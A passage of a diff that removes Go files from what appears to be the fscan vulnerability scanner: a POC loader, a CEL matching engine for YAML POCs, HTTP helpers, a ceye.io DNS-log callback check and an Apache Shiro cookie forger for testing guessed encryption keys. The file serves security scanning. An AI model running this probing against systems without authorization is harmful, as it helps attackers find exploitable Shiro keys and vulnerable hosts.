if strings.Contains(entry.Name(), pocname) {
foundFiles = append(foundFiles, entry.Name())
}
}
return foundFiles
}
// LoadPocbyPath 从文件系统路径加载POC
func LoadPocbyPath(fileName string) (*Poc, error) {
p := &Poc{}
// 读取POC文件内容
data, err := os.ReadFile(fileName)
if err != nil {
fmt.Printf("POC文件读取失败 %s: %v\n", fileName, err)
return nil, err
}
// 解析YAML内容
err = yaml.Unmarshal(data, p)
if err != nil {
fmt.Printf("POC解析失败 %s: %v\n", fileName, err)
return nil, err
}
return p, err
}

View File

@ -1,795 +0,0 @@
package lib
import (
"bytes"
"compress/gzip"
"crypto/md5"
"encoding/base64"
"encoding/hex"
"fmt"
"github.com/google/cel-go/cel"
"github.com/google/cel-go/checker/decls"
"github.com/google/cel-go/common/types"
"github.com/google/cel-go/common/types/ref"
"github.com/google/cel-go/interpreter/functions"
"github.com/shadow1ng/fscan/common"
exprpb "google.golang.org/genproto/googleapis/api/expr/v1alpha1"
"io"
"math/rand"
"net/http"
"net/url"
"regexp"
"strconv"
"strings"
"time"
)
// NewEnv 创建一个新的 CEL 环境
func NewEnv(c *CustomLib) (*cel.Env, error) {
return cel.NewEnv(cel.Lib(c))
}
// Evaluate 评估 CEL 表达式
func Evaluate(env *cel.Env, expression string, params map[string]interface{}) (ref.Val, error) {
// 空表达式默认返回 true
if expression == "" {
return types.Bool(true), nil
}
// 编译表达式
ast, issues := env.Compile(expression)
if issues.Err() != nil {
return nil, fmt.Errorf("表达式编译错误: %w", issues.Err())
}
// 创建程序
program, err := env.Program(ast)
if err != nil {
return nil, fmt.Errorf("程序创建错误: %w", err)
}
// 执行评估
result, _, err := program.Eval(params)
if err != nil {
return nil, fmt.Errorf("表达式评估错误: %w", err)
}
return result, nil
}
// UrlTypeToString 将 TargetURL 结构体转换为字符串
func UrlTypeToString(u *UrlType) string {
var builder strings.Builder
// 处理 scheme 部分
if u.Scheme != "" {
builder.WriteString(u.Scheme)
builder.WriteByte(':')
}
// 处理 host 部分
if u.Scheme != "" || u.Host != "" {
if u.Host != "" || u.Path != "" {
builder.WriteString("//")
}
if host := u.Host; host != "" {
builder.WriteString(host)
}
}
// 处理 path 部分
path := u.Path
if path != "" && path[0] != '/' && u.Host != "" {
builder.WriteByte('/')
}
// 处理相对路径
if builder.Len() == 0 {
if i := strings.IndexByte(path, ':'); i > -1 && strings.IndexByte(path[:i], '/') == -1 {
builder.WriteString("./")
}
}
builder.WriteString(path)
// 处理查询参数
if u.Query != "" {
builder.WriteByte('?')
builder.WriteString(u.Query)
}
// 处理片段标识符
if u.Fragment != "" {
builder.WriteByte('#')
builder.WriteString(u.Fragment)
}
return builder.String()
}
type CustomLib struct {
envOptions []cel.EnvOption
programOptions []cel.ProgramOption
}
func NewEnvOption() CustomLib {
c := CustomLib{}
c.envOptions = []cel.EnvOption{
cel.Container("lib"),
cel.Types(
&UrlType{},
&Request{},
&Response{},
&Reverse{},
),
cel.Declarations(
decls.NewIdent("request", decls.NewObjectType("lib.Request"), nil),
decls.NewIdent("response", decls.NewObjectType("lib.Response"), nil),
decls.NewIdent("reverse", decls.NewObjectType("lib.Reverse"), nil),
),
cel.Declarations(
// functions
decls.NewFunction("bcontains",
decls.NewInstanceOverload("bytes_bcontains_bytes",
[]*exprpb.Type{decls.Bytes, decls.Bytes},
decls.Bool)),
decls.NewFunction("bmatches",
decls.NewInstanceOverload("string_bmatches_bytes",
[]*exprpb.Type{decls.String, decls.Bytes},
decls.Bool)),
decls.NewFunction("md5",
decls.NewOverload("md5_string",
[]*exprpb.Type{decls.String},
decls.String)),
decls.NewFunction("randomInt",
decls.NewOverload("randomInt_int_int",
[]*exprpb.Type{decls.Int, decls.Int},
decls.Int)),
decls.NewFunction("randomLowercase",
decls.NewOverload("randomLowercase_int",
[]*exprpb.Type{decls.Int},
decls.String)),
decls.NewFunction("randomUppercase",
decls.NewOverload("randomUppercase_int",
[]*exprpb.Type{decls.Int},
decls.String)),
decls.NewFunction("randomString",
decls.NewOverload("randomString_int",
[]*exprpb.Type{decls.Int},
decls.String)),
decls.NewFunction("base64",
decls.NewOverload("base64_string",
[]*exprpb.Type{decls.String},
decls.String)),
decls.NewFunction("base64",
decls.NewOverload("base64_bytes",
[]*exprpb.Type{decls.Bytes},
decls.String)),
decls.NewFunction("base64Decode",
decls.NewOverload("base64Decode_string",
[]*exprpb.Type{decls.String},
decls.String)),
decls.NewFunction("base64Decode",
decls.NewOverload("base64Decode_bytes",
[]*exprpb.Type{decls.Bytes},
decls.String)),
decls.NewFunction("urlencode",
decls.NewOverload("urlencode_string",
[]*exprpb.Type{decls.String},
decls.String)),
decls.NewFunction("urlencode",
decls.NewOverload("urlencode_bytes",
[]*exprpb.Type{decls.Bytes},
decls.String)),
decls.NewFunction("urldecode",
decls.NewOverload("urldecode_string",
[]*exprpb.Type{decls.String},
decls.String)),
decls.NewFunction("urldecode",
decls.NewOverload("urldecode_bytes",
[]*exprpb.Type{decls.Bytes},
decls.String)),
decls.NewFunction("substr",
decls.NewOverload("substr_string_int_int",
[]*exprpb.Type{decls.String, decls.Int, decls.Int},
decls.String)),
decls.NewFunction("wait",
decls.NewInstanceOverload("reverse_wait_int",
[]*exprpb.Type{decls.Any, decls.Int},
decls.Bool)),
decls.NewFunction("icontains",
decls.NewInstanceOverload("icontains_string",
[]*exprpb.Type{decls.String, decls.String},
decls.Bool)),
decls.NewFunction("TDdate",
decls.NewOverload("tongda_date",
[]*exprpb.Type{},
decls.String)),
decls.NewFunction("shirokey",
decls.NewOverload("shiro_key",
[]*exprpb.Type{decls.String, decls.String},
decls.String)),
decls.NewFunction("startsWith",
decls.NewInstanceOverload("startsWith_bytes",
[]*exprpb.Type{decls.Bytes, decls.Bytes},
decls.Bool)),
decls.NewFunction("istartsWith",
decls.NewInstanceOverload("startsWith_string",
[]*exprpb.Type{decls.String, decls.String},
decls.Bool)),
decls.NewFunction("hexdecode",
decls.NewInstanceOverload("hexdecode",
[]*exprpb.Type{decls.String},
decls.Bytes)),
),
}
c.programOptions = []cel.ProgramOption{
cel.Functions(
&functions.Overload{
Operator: "bytes_bcontains_bytes",
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
v1, ok := lhs.(types.Bytes)
if !ok {
return types.ValOrErr(lhs, "unexpected type '%v' passed to bcontains", lhs.Type())
}
v2, ok := rhs.(types.Bytes)
if !ok {
return types.ValOrErr(rhs, "unexpected type '%v' passed to bcontains", rhs.Type())
}
return types.Bool(bytes.Contains(v1, v2))
},
},
&functions.Overload{
Operator: "string_bmatches_bytes",
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
v1, ok := lhs.(types.String)
if !ok {
return types.ValOrErr(lhs, "unexpected type '%v' passed to bmatch", lhs.Type())
}
v2, ok := rhs.(types.Bytes)
if !ok {
return types.ValOrErr(rhs, "unexpected type '%v' passed to bmatch", rhs.Type())
}
ok, err := regexp.Match(string(v1), v2)
if err != nil {
return types.NewErr("%v", err)
}
return types.Bool(ok)
},
},
&functions.Overload{
Operator: "md5_string",
Unary: func(value ref.Val) ref.Val {
v, ok := value.(types.String)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to md5_string", value.Type())
}
return types.String(fmt.Sprintf("%x", md5.Sum([]byte(v))))
},
},
&functions.Overload{
Operator: "randomInt_int_int",
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
from, ok := lhs.(types.Int)
if !ok {
return types.ValOrErr(lhs, "unexpected type '%v' passed to randomInt", lhs.Type())
}
to, ok := rhs.(types.Int)
if !ok {
return types.ValOrErr(rhs, "unexpected type '%v' passed to randomInt", rhs.Type())
}
min, max := int(from), int(to)
return types.Int(rand.Intn(max-min) + min)
},
},
&functions.Overload{
Operator: "randomLowercase_int",
Unary: func(value ref.Val) ref.Val {
n, ok := value.(types.Int)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to randomLowercase", value.Type())
}
return types.String(randomLowercase(int(n)))
},
},
&functions.Overload{
Operator: "randomUppercase_int",
Unary: func(value ref.Val) ref.Val {
n, ok := value.(types.Int)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to randomUppercase", value.Type())
}
return types.String(randomUppercase(int(n)))
},
},
&functions.Overload{
Operator: "randomString_int",
Unary: func(value ref.Val) ref.Val {
n, ok := value.(types.Int)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to randomString", value.Type())
}
return types.String(randomString(int(n)))
},
},
&functions.Overload{
Operator: "base64_string",
Unary: func(value ref.Val) ref.Val {
v, ok := value.(types.String)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to base64_string", value.Type())
}
return types.String(base64.StdEncoding.EncodeToString([]byte(v)))
},
},
&functions.Overload{
Operator: "base64_bytes",
Unary: func(value ref.Val) ref.Val {
v, ok := value.(types.Bytes)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to base64_bytes", value.Type())
}
return types.String(base64.StdEncoding.EncodeToString(v))
},
},
&functions.Overload{
Operator: "base64Decode_string",
Unary: func(value ref.Val) ref.Val {
v, ok := value.(types.String)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to base64Decode_string", value.Type())
}
decodeBytes, err := base64.StdEncoding.DecodeString(string(v))
if err != nil {
return types.NewErr("%v", err)
}
return types.String(decodeBytes)
},
},
&functions.Overload{
Operator: "base64Decode_bytes",
Unary: func(value ref.Val) ref.Val {
v, ok := value.(types.Bytes)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to base64Decode_bytes", value.Type())
}
decodeBytes, err := base64.StdEncoding.DecodeString(string(v))
if err != nil {
return types.NewErr("%v", err)
}
return types.String(decodeBytes)
},
},
&functions.Overload{
Operator: "urlencode_string",
Unary: func(value ref.Val) ref.Val {
v, ok := value.(types.String)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to urlencode_string", value.Type())
}
return types.String(url.QueryEscape(string(v)))
},
},
&functions.Overload{
Operator: "urlencode_bytes",
Unary: func(value ref.Val) ref.Val {
v, ok := value.(types.Bytes)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to urlencode_bytes", value.Type())
}
return types.String(url.QueryEscape(string(v)))
},
},
&functions.Overload{
Operator: "urldecode_string",
Unary: func(value ref.Val) ref.Val {
v, ok := value.(types.String)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to urldecode_string", value.Type())
}
decodeString, err := url.QueryUnescape(string(v))
if err != nil {
return types.NewErr("%v", err)
}
return types.String(decodeString)
},
},
&functions.Overload{
Operator: "urldecode_bytes",
Unary: func(value ref.Val) ref.Val {
v, ok := value.(types.Bytes)
if !ok {
return types.ValOrErr(value, "unexpected type '%v' passed to urldecode_bytes", value.Type())
}
decodeString, err := url.QueryUnescape(string(v))
if err != nil {
return types.NewErr("%v", err)
}
return types.String(decodeString)
},
},
&functions.Overload{
Operator: "substr_string_int_int",
Function: func(values ...ref.Val) ref.Val {
if len(values) == 3 {
str, ok := values[0].(types.String)
if !ok {
return types.NewErr("invalid string to 'substr'")
}
start, ok := values[1].(types.Int)
if !ok {
return types.NewErr("invalid start to 'substr'")
}
length, ok := values[2].(types.Int)
if !ok {
return types.NewErr("invalid length to 'substr'")
}
runes := []rune(str)
if start < 0 || length < 0 || int(start+length) > len(runes) {
return types.NewErr("invalid start or length to 'substr'")
}
return types.String(runes[start : start+length])
} else {
return types.NewErr("too many arguments to 'substr'")
}
},
},
&functions.Overload{
Operator: "reverse_wait_int",
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
reverse, ok := lhs.Value().(*Reverse)
if !ok {
return types.ValOrErr(lhs, "unexpected type '%v' passed to 'wait'", lhs.Type())
}
timeout, ok := rhs.Value().(int64)
if !ok {
return types.ValOrErr(rhs, "unexpected type '%v' passed to 'wait'", rhs.Type())
}
return types.Bool(reverseCheck(reverse, timeout))
},
},
&functions.Overload{
Operator: "icontains_string",
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
v1, ok := lhs.(types.String)
if !ok {
return types.ValOrErr(lhs, "unexpected type '%v' passed to bcontains", lhs.Type())
}
v2, ok := rhs.(types.String)
if !ok {
return types.ValOrErr(rhs, "unexpected type '%v' passed to bcontains", rhs.Type())
}
// 不区分大小写包含
return types.Bool(strings.Contains(strings.ToLower(string(v1)), strings.ToLower(string(v2))))
},
},
&functions.Overload{
Operator: "tongda_date",
Function: func(value ...ref.Val) ref.Val {
return types.String(time.Now().Format("0601"))
},
},
&functions.Overload{
Operator: "shiro_key",
Binary: func(key ref.Val, mode ref.Val) ref.Val {
v1, ok := key.(types.String)
if !ok {
return types.ValOrErr(key, "unexpected type '%v' passed to shiro_key", key.Type())
}
v2, ok := mode.(types.String)
if !ok {
return types.ValOrErr(mode, "unexpected type '%v' passed to shiro_mode", mode.Type())
}
cookie := GetShrioCookie(string(v1), string(v2))
if cookie == "" {
return types.NewErr("%v", "key b64decode failed")
}
return types.String(cookie)
},
},
&functions.Overload{
Operator: "startsWith_bytes",
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
v1, ok := lhs.(types.Bytes)
if !ok {
return types.ValOrErr(lhs, "unexpected type '%v' passed to startsWith_bytes", lhs.Type())
}
v2, ok := rhs.(types.Bytes)
if !ok {
return types.ValOrErr(rhs, "unexpected type '%v' passed to startsWith_bytes", rhs.Type())
}
// 不区分大小写包含
return types.Bool(bytes.HasPrefix(v1, v2))
},
},
&functions.Overload{
Operator: "startsWith_string",
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
v1, ok := lhs.(types.String)
if !ok {
return types.ValOrErr(lhs, "unexpected type '%v' passed to startsWith_string", lhs.Type())
}
v2, ok := rhs.(types.String)
if !ok {
return types.ValOrErr(rhs, "unexpected type '%v' passed to startsWith_string", rhs.Type())
}
// 不区分大小写包含
return types.Bool(strings.HasPrefix(strings.ToLower(string(v1)), strings.ToLower(string(v2))))
},
},
&functions.Overload{
Operator: "hexdecode",
Unary: func(lhs ref.Val) ref.Val {
v1, ok := lhs.(types.String)
if !ok {
return types.ValOrErr(lhs, "unexpected type '%v' passed to hexdecode", lhs.Type())
}
out, err := hex.DecodeString(string(v1))
if err != nil {
return types.ValOrErr(lhs, "hexdecode error: %v", err)
}
// 不区分大小写包含
return types.Bytes(out)
},
},
),
}
return c
}
// CompileOptions 返回环境编译选项
func (c *CustomLib) CompileOptions() []cel.EnvOption {
return c.envOptions
}
// ProgramOptions 返回程序运行选项
func (c *CustomLib) ProgramOptions() []cel.ProgramOption {
return c.programOptions
}
// UpdateCompileOptions 更新编译选项,处理不同类型的变量声明
func (c *CustomLib) UpdateCompileOptions(args StrMap) {
for _, item := range args {
key, value := item.Key, item.Value
// 根据函数前缀确定变量类型
var declaration *exprpb.Decl
switch {
case strings.HasPrefix(value, "randomInt"):
// randomInt 函数返回整型
declaration = decls.NewIdent(key, decls.Int, nil)
case strings.HasPrefix(value, "newReverse"):
// newReverse 函数返回 Reverse 对象
declaration = decls.NewIdent(key, decls.NewObjectType("lib.Reverse"), nil)
default:
// 默认声明为字符串类型
declaration = decls.NewIdent(key, decls.String, nil)
}
c.envOptions = append(c.envOptions, cel.Declarations(declaration))
}
}
// 初始化随机数生成器
var randSource = rand.New(rand.NewSource(time.Now().Unix()))
// randomLowercase 生成指定长度的小写字母随机字符串
func randomLowercase(n int) string {
const lowercase = "abcdefghijklmnopqrstuvwxyz"
return RandomStr(randSource, lowercase, n)
}
// randomUppercase 生成指定长度的大写字母随机字符串
func randomUppercase(n int) string {
const uppercase = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
return RandomStr(randSource, uppercase, n)
}
// randomString 生成指定长度的随机字符串(包含大小写字母和数字)
func randomString(n int) string {
const charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
return RandomStr(randSource, charset, n)
}
// reverseCheck 检查 DNS 记录是否存在
func reverseCheck(r *Reverse, timeout int64) bool {
// 检查必要条件
if ceyeApi == "" || r.Domain == "" || !common.DnsLog {
return false
}
// 等待指定时间
time.Sleep(time.Second * time.Duration(timeout))
// 提取子域名
sub := strings.Split(r.Domain, ".")[0]
// 构造 API 请求 TargetURL
apiURL := fmt.Sprintf("http://api.ceye.io/v1/records?token=%s&type=dns&filter=%s",
ceyeApi, sub)
// 创建并发送请求
req, _ := http.NewRequest("GET", apiURL, nil)
resp, err := DoRequest(req, false)
if err != nil {
return false
}
// 检查响应内容
hasData := !bytes.Contains(resp.Body, []byte(`"data": []`))
isOK := bytes.Contains(resp.Body, []byte(`"message": "OK"`))
if hasData && isOK {
fmt.Println(apiURL)
return true
}
return false
}
// RandomStr 生成指定长度的随机字符串
func RandomStr(randSource *rand.Rand, letterBytes string, n int) string {
const (
// 用 6 位比特表示一个字母索引
letterIdxBits = 6
// 生成掩码000111111
letterIdxMask = 1<<letterIdxBits - 1
// 63 位能存储的字母索引数量
letterIdxMax = 63 / letterIdxBits
)
// 预分配结果数组
randBytes := make([]byte, n)
// 使用位操作生成随机字符串
for i, cache, remain := n-1, randSource.Int63(), letterIdxMax; i >= 0; {
// 当可用的随机位用完时,重新获取随机数
if remain == 0 {
cache, remain = randSource.Int63(), letterIdxMax
}
// 获取字符集中的随机索引
if idx := int(cache & letterIdxMask); idx < len(letterBytes) {
randBytes[i] = letterBytes[idx]
i--
}
// 右移已使用的位,更新计数器
cache >>= letterIdxBits
remain--
}
return string(randBytes)
}
// DoRequest 执行 HTTP 请求
func DoRequest(req *http.Request, redirect bool) (*Response, error) {
// 处理请求头
if req.Body != nil && req.Body != http.NoBody {
// 设置 Content-Length
req.Header.Set("Content-Length", strconv.Itoa(int(req.ContentLength)))
// 如果未指定 Content-Type设置默认值
if req.Header.Get("Content-Type") == "" {
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
}
}
// 执行请求
var (
oResp *http.Response
err error
)
if redirect {
oResp, err = Client.Do(req)
} else {
oResp, err = ClientNoRedirect.Do(req)
}
if err != nil {
return nil, fmt.Errorf("请求执行失败: %w", err)
}
defer oResp.Body.Close()
// 解析响应
resp, err := ParseResponse(oResp)
if err != nil {
common.LogError("响应解析失败: " + err.Error())
}
return resp, err
}
// ParseUrl 解析 TargetURL 并转换为自定义 TargetURL 类型
func ParseUrl(u *url.URL) *UrlType {
return &UrlType{
Scheme: u.Scheme,
Domain: u.Hostname(),
Host: u.Host,
Port: u.Port(),
Path: u.EscapedPath(),
Query: u.RawQuery,
Fragment: u.Fragment,
}
}
// ParseRequest 将标准 HTTP 请求转换为自定义请求对象
func ParseRequest(oReq *http.Request) (*Request, error) {
req := &Request{
Method: oReq.Method,
Url: ParseUrl(oReq.URL),
Headers: make(map[string]string),
ContentType: oReq.Header.Get("Content-Type"),
}
// 复制请求头
for k := range oReq.Header {
req.Headers[k] = oReq.Header.Get(k)
}
// 处理请求体
if oReq.Body != nil && oReq.Body != http.NoBody {
data, err := io.ReadAll(oReq.Body)
if err != nil {
return nil, fmt.Errorf("读取请求体失败: %w", err)
}
req.Body = data
// 重新设置请求体,允许后续重复读取
oReq.Body = io.NopCloser(bytes.NewBuffer(data))
}
return req, nil
}
// ParseResponse 将标准 HTTP 响应转换为自定义响应对象
func ParseResponse(oResp *http.Response) (*Response, error) {
resp := Response{
Status: int32(oResp.StatusCode),
Url: ParseUrl(oResp.Request.URL),
Headers: make(map[string]string),
ContentType: oResp.Header.Get("Content-Type"),
}
// 复制响应头,合并多值头部为分号分隔的字符串
for k := range oResp.Header {
resp.Headers[k] = strings.Join(oResp.Header.Values(k), ";")
}
// 读取并解析响应体
body, err := getRespBody(oResp)
if err != nil {
return nil, fmt.Errorf("处理响应体失败: %w", err)
}
resp.Body = body
return &resp, nil
}
// getRespBody 读取 HTTP 响应体并处理可能的 gzip 压缩
func getRespBody(oResp *http.Response) ([]byte, error) {
// 读取原始响应体
body, err := io.ReadAll(oResp.Body)
if err != nil && err != io.EOF && len(body) == 0 {
return nil, err
}
// 处理 gzip 压缩
if strings.Contains(oResp.Header.Get("Content-Encoding"), "gzip") {
reader, err := gzip.NewReader(bytes.NewReader(body))
if err != nil {
return body, nil // 如果解压失败,返回原始数据
}
defer reader.Close()
decompressed, err := io.ReadAll(reader)
if err != nil && err != io.EOF && len(decompressed) == 0 {
return nil, err
}
if len(decompressed) == 0 && len(body) != 0 {
return body, nil
}
return decompressed, nil
}
return body, nil
}

View File

@ -1,102 +0,0 @@
package lib
import (
"bytes"
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"encoding/base64"
"io"
uuid "github.com/satori/go.uuid"
)
var (
// CheckContent 是经过base64编码的Shiro序列化对象
CheckContent = "rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA=="
// Content 是解码后的原始内容
Content, _ = base64.StdEncoding.DecodeString(CheckContent)
)
// Padding 对明文进行PKCS7填充
func Padding(plainText []byte, blockSize int) []byte {
// 计算需要填充的长度
paddingLength := blockSize - len(plainText)%blockSize
// 使用paddingLength个paddingLength值进行填充
paddingText := bytes.Repeat([]byte{byte(paddingLength)}, paddingLength)
return append(plainText, paddingText...)
}
// GetShrioCookie 获取加密后的Shiro Cookie值
func GetShrioCookie(key, mode string) string {
if mode == "gcm" {
return AES_GCM_Encrypt(key)
}
return AES_CBC_Encrypt(key)
}
// AES_CBC_Encrypt 使用AES-CBC模式加密
func AES_CBC_Encrypt(shirokey string) string {
// 解码密钥
key, err := base64.StdEncoding.DecodeString(shirokey)
if err != nil {
return ""
}
// 创建AES加密器
block, err := aes.NewCipher(key)
if err != nil {
return ""
}
// PKCS7填充
paddedContent := Padding(Content, block.BlockSize())
// 生成随机IV
iv := uuid.NewV4().Bytes()
// 创建CBC加密器
blockMode := cipher.NewCBCEncrypter(block, iv)
// 加密数据
cipherText := make([]byte, len(paddedContent))
blockMode.CryptBlocks(cipherText, paddedContent)
// 拼接IV和密文并base64编码
return base64.StdEncoding.EncodeToString(append(iv, cipherText...))
}
// AES_GCM_Encrypt 使用AES-GCM模式加密(Shiro 1.4.2+)
func AES_GCM_Encrypt(shirokey string) string {
// 解码密钥
key, err := base64.StdEncoding.DecodeString(shirokey)
if err != nil {
return ""
}
// 创建AES加密器
block, err := aes.NewCipher(key)
if err != nil {
return ""
}
// 生成16字节随机数作为nonce
nonce := make([]byte, 16)
if _, err := io.ReadFull(rand.Reader, nonce); err != nil {
return ""
}
// 创建GCM加密器
aesgcm, err := cipher.NewGCMWithNonceSize(block, 16)
if err != nil {
return ""
}
// 加密数据
ciphertext := aesgcm.Seal(nil, nonce, Content, nil)
// 拼接nonce和密文并base64编码
return base64.StdEncoding.EncodeToString(append(nonce, ciphertext...))
}

View File

@ -1,520 +0,0 @@
//go:generate protoc --go_out=. http.proto
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.26.0
// protoc v3.20.3
// source: http.proto
package lib
import (
protoreflect "google.golang.org/protobuf/reflect/protoreflect"
protoimpl "google.golang.org/protobuf/runtime/protoimpl"
reflect "reflect"
sync "sync"
)
const (
// Verify that this generated code is sufficiently up-to-date.
_ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion)
// Verify that runtime/protoimpl is sufficiently up-to-date.
_ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20)
)
type UrlType struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
unknownFields protoimpl.UnknownFields
Scheme string `protobuf:"bytes,1,opt,name=scheme,proto3" json:"scheme,omitempty"`
Domain string `protobuf:"bytes,2,opt,name=domain,proto3" json:"domain,omitempty"`
Host string `protobuf:"bytes,3,opt,name=host,proto3" json:"host,omitempty"`
Port string `protobuf:"bytes,4,opt,name=port,proto3" json:"port,omitempty"`
Path string `protobuf:"bytes,5,opt,name=path,proto3" json:"path,omitempty"`
Query string `protobuf:"bytes,6,opt,name=query,proto3" json:"query,omitempty"`
Fragment string `protobuf:"bytes,7,opt,name=fragment,proto3" json:"fragment,omitempty"`
}
func (x *UrlType) Reset() {
*x = UrlType{}
if protoimpl.UnsafeEnabled {
mi := &file_http_proto_msgTypes[0]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
}
func (x *UrlType) String() string {
return protoimpl.X.MessageStringOf(x)
}
func (*UrlType) ProtoMessage() {}
func (x *UrlType) ProtoReflect() protoreflect.Message {
mi := &file_http_proto_msgTypes[0]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
ms.StoreMessageInfo(mi)
}
return ms
}
return mi.MessageOf(x)
}
// Deprecated: Use UrlType.ProtoReflect.Descriptor instead.
func (*UrlType) Descriptor() ([]byte, []int) {
return file_http_proto_rawDescGZIP(), []int{0}
}
func (x *UrlType) GetScheme() string {
if x != nil {
return x.Scheme
}
return ""
}
func (x *UrlType) GetDomain() string {
if x != nil {
return x.Domain
}
return ""
}
func (x *UrlType) GetHost() string {
if x != nil {
return x.Host
}
return ""
}
func (x *UrlType) GetPort() string {
if x != nil {
return x.Port
}
return ""
}
func (x *UrlType) GetPath() string {
if x != nil {
return x.Path
}
return ""
}
func (x *UrlType) GetQuery() string {
if x != nil {
return x.Query
}
return ""
}
func (x *UrlType) GetFragment() string {
if x != nil {
return x.Fragment
}
return ""
}
type Request struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
unknownFields protoimpl.UnknownFields
Url *UrlType `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"`
Method string `protobuf:"bytes,2,opt,name=method,proto3" json:"method,omitempty"`
Headers map[string]string `protobuf:"bytes,3,rep,name=headers,proto3" json:"headers,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"`
ContentType string `protobuf:"bytes,4,opt,name=content_type,json=contentType,proto3" json:"content_type,omitempty"`
Body []byte `protobuf:"bytes,5,opt,name=body,proto3" json:"body,omitempty"`
}
func (x *Request) Reset() {
*x = Request{}
if protoimpl.UnsafeEnabled {
mi := &file_http_proto_msgTypes[1]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
}
func (x *Request) String() string {
return protoimpl.X.MessageStringOf(x)
}
func (*Request) ProtoMessage() {}
func (x *Request) ProtoReflect() protoreflect.Message {
mi := &file_http_proto_msgTypes[1]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
ms.StoreMessageInfo(mi)
}
return ms
}
return mi.MessageOf(x)
}
// Deprecated: Use Request.ProtoReflect.Descriptor instead.
func (*Request) Descriptor() ([]byte, []int) {
return file_http_proto_rawDescGZIP(), []int{1}
}
func (x *Request) GetUrl() *UrlType {
if x != nil {
return x.Url
}
return nil
}
func (x *Request) GetMethod() string {
if x != nil {
return x.Method
}
return ""
}
func (x *Request) GetHeaders() map[string]string {
if x != nil {
return x.Headers
}
return nil
}
func (x *Request) GetContentType() string {
if x != nil {
return x.ContentType
}
return ""
}
func (x *Request) GetBody() []byte {
if x != nil {
return x.Body
}
return nil
}
type Response struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
unknownFields protoimpl.UnknownFields
Url *UrlType `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"`
Status int32 `protobuf:"varint,2,opt,name=status,proto3" json:"status,omitempty"`
Headers map[string]string `protobuf:"bytes,3,rep,name=headers,proto3" json:"headers,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"`
ContentType string `protobuf:"bytes,4,opt,name=content_type,json=contentType,proto3" json:"content_type,omitempty"`
Body []byte `protobuf:"bytes,5,opt,name=body,proto3" json:"body,omitempty"`
Duration float64 `protobuf:"fixed64,6,opt,name=duration,proto3" json:"duration,omitempty"`
}
func (x *Response) Reset() {
*x = Response{}
if protoimpl.UnsafeEnabled {
mi := &file_http_proto_msgTypes[2]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
}
func (x *Response) String() string {
return protoimpl.X.MessageStringOf(x)
}
func (*Response) ProtoMessage() {}
func (x *Response) ProtoReflect() protoreflect.Message {
mi := &file_http_proto_msgTypes[2]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
ms.StoreMessageInfo(mi)
}
return ms
}
return mi.MessageOf(x)
}
// Deprecated: Use Response.ProtoReflect.Descriptor instead.
func (*Response) Descriptor() ([]byte, []int) {
return file_http_proto_rawDescGZIP(), []int{2}
}
func (x *Response) GetUrl() *UrlType {
if x != nil {
return x.Url
}
return nil
}
func (x *Response) GetStatus() int32 {
if x != nil {
return x.Status
}
return 0
}
func (x *Response) GetHeaders() map[string]string {
if x != nil {
return x.Headers
}
return nil
}
func (x *Response) GetContentType() string {
if x != nil {
return x.ContentType
}
return ""
}
func (x *Response) GetBody() []byte {
if x != nil {
return x.Body
}
return nil
}
func (x *Response) GetDuration() float64 {
if x != nil {
return x.Duration
}
return 0
}
type Reverse struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
unknownFields protoimpl.UnknownFields
Url string `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"`
Domain string `protobuf:"bytes,2,opt,name=domain,proto3" json:"domain,omitempty"`
Ip string `protobuf:"bytes,3,opt,name=ip,proto3" json:"ip,omitempty"`
